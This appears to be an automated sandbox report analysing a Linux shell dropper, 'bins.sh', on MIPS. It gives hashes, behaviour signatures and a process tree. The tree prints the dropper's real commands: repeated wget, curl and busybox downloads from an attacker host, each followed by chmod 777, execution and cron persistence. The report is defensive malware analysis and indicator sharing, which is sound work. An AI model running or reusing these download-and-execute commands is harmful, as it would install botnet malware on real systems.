Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    04-11-2024 17:27

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    c519f1b067280884b46c2aa19da142b0

  • SHA1

    8388f00293e913697158cb94f5365dbcec333dd2

  • SHA256

    6d4629cac44c027f05b9269951e5e016a00de23e9e41601069f5dd6ae27dba09

  • SHA512

    4b13cc51099640e09b5442a4b54f6902bb96fc7daae52c87e0e355dc11d77ed52cff34ec5208f53f38ab7f61123a0bcce7cc57977035501a51a0c0735307d97b

  • SSDEEP

    192:dz3OZ5azpwHSqPbEnxEnxEnkEnsQEnrEn4AY92ysQcSEnxEnxEnkEnsQEnrEn+AV:dz3OZ5azpwLmAA1CWPQc3AA1CW3Vz3OI

Malware Config

Signatures

  • Contacts a large (1550) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 22 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:708
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:711
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:713
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:736
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:738
        • /bin/chmod
          chmod 777 rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          2⤵
          • File and Directory Permissions Modification
          PID:739
        • /tmp/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          ./rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          2⤵
          • Executes dropped EXE
          PID:740
        • /bin/rm
          rm rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          2⤵
            PID:742
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:743
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:744
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:756
          • /bin/chmod
            chmod 777 czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            2⤵
            • File and Directory Permissions Modification
            PID:763
          • /tmp/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            ./czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            2⤵
            • Executes dropped EXE
            PID:764
          • /bin/rm
            rm czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            2⤵
              PID:768
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:769
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:784
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:799
            • /bin/chmod
              chmod 777 qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              2⤵
              • File and Directory Permissions Modification
              PID:800
            • /tmp/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              ./qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              2⤵
              • Executes dropped EXE
              PID:801
            • /bin/rm
              rm qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              2⤵
                PID:803
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:804
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
                2⤵
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:805
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:809
              • /bin/chmod
                chmod 777 bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
                2⤵
                • File and Directory Permissions Modification
                PID:816
              • /tmp/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
                ./bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
                2⤵
                • Executes dropped EXE
                PID:818
              • /bin/rm
                rm bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
                2⤵
                  PID:821
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:822
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:839
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:845
                • /bin/chmod
                  chmod 777 lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
                  2⤵
                  • File and Directory Permissions Modification
                  PID:849
                • /tmp/lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
                  ./lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
                  2⤵
                  • Executes dropped EXE
                  PID:850
                • /bin/rm
                  rm lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
                  2⤵
                    PID:852
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:853
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:854
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:856
                  • /bin/chmod
                    chmod 777 ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
                    2⤵
                    • File and Directory Permissions Modification
                    PID:857
                  • /tmp/ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
                    ./ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
                    2⤵
                    • Executes dropped EXE
                    PID:858
                  • /bin/rm
                    rm ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
                    2⤵
                      PID:860
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:861
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:862
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:864
                    • /bin/chmod
                      chmod 777 6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
                      2⤵
                      • File and Directory Permissions Modification
                      PID:865
                    • /tmp/6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
                      ./6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:866
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:868
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:869
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:870
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:871
                          • /bin/rm
                            rm 6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
                            2⤵
                              PID:873
                            • /usr/bin/wget
                              wget http://conn.masjesu.zip/bins/pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
                              2⤵
                              • System Network Configuration Discovery
                              PID:876

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • /tmp/6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK

                            Filesize

                            151KB

                            MD5

                            6c583043d91c55aa470c08c87058e917

                            SHA1

                            abf65a5b9bba69980278ad09356e53de8bb89439

                            SHA256

                            2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                            SHA512

                            82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                          • /tmp/ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI

                            Filesize

                            98KB

                            MD5

                            5141342d0df8699fa32a6b066a0c592e

                            SHA1

                            8157673225bd5182f16215e2aa823a25ca2d4fbc

                            SHA256

                            54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                            SHA512

                            d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                          • /tmp/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw

                            Filesize

                            151KB

                            MD5

                            3c90d5820bddcf7c5d1bd21dfa49d958

                            SHA1

                            5ba05bd489e50af97d6dc45e3a0be60e494d5083

                            SHA256

                            bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                            SHA512

                            54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                          • /tmp/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk

                            Filesize

                            107KB

                            MD5

                            eb9c3a0de91fcf16ba17cb24608df68c

                            SHA1

                            09d95a7d70d5e115d103be51edff7c498d272fac

                            SHA256

                            dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                            SHA512

                            9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                          • /tmp/lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB

                            Filesize

                            99KB

                            MD5

                            9438d9bc392bcf300a5583b6df5bc8f6

                            SHA1

                            375a6ae34b516f6f3eeea8030c4084f585017efa

                            SHA256

                            68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                            SHA512

                            1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                          • /tmp/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran

                            Filesize

                            119KB

                            MD5

                            1b166b95f9cb4b079ef1b9ec8363ddf3

                            SHA1

                            0d8eb08add467b3b5474f9b25909297fe7c2839c

                            SHA256

                            94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                            SHA512

                            983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                          • /tmp/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt

                            Filesize

                            122KB

                            MD5

                            cd3d4b9c643e5b473fb4d88ed05f0716

                            SHA1

                            64ee7a97418583d759eaea8000890cc3bae1b5f4

                            SHA256

                            0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                            SHA512

                            164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                          • /var/spool/cron/crontabs/tmp.xeX3sv

                            Filesize

                            210B

                            MD5

                            d267a1ae7f8332681c2acccefc0b90d2

                            SHA1

                            6f1916bed7e060c09da013cacd0beedc021cb6d4

                            SHA256

                            c0805ac87171c05850d21c1ce068ba9441f99421502914319e9490339fbb01d1

                            SHA512

                            129495e1f302f87f5afe1085416b9fb4175046d430ed2e9330eb49272204478c3346db8411a4792a3d50025b7f52d311bb25611fc9d00b426d5adf3e6ba135fa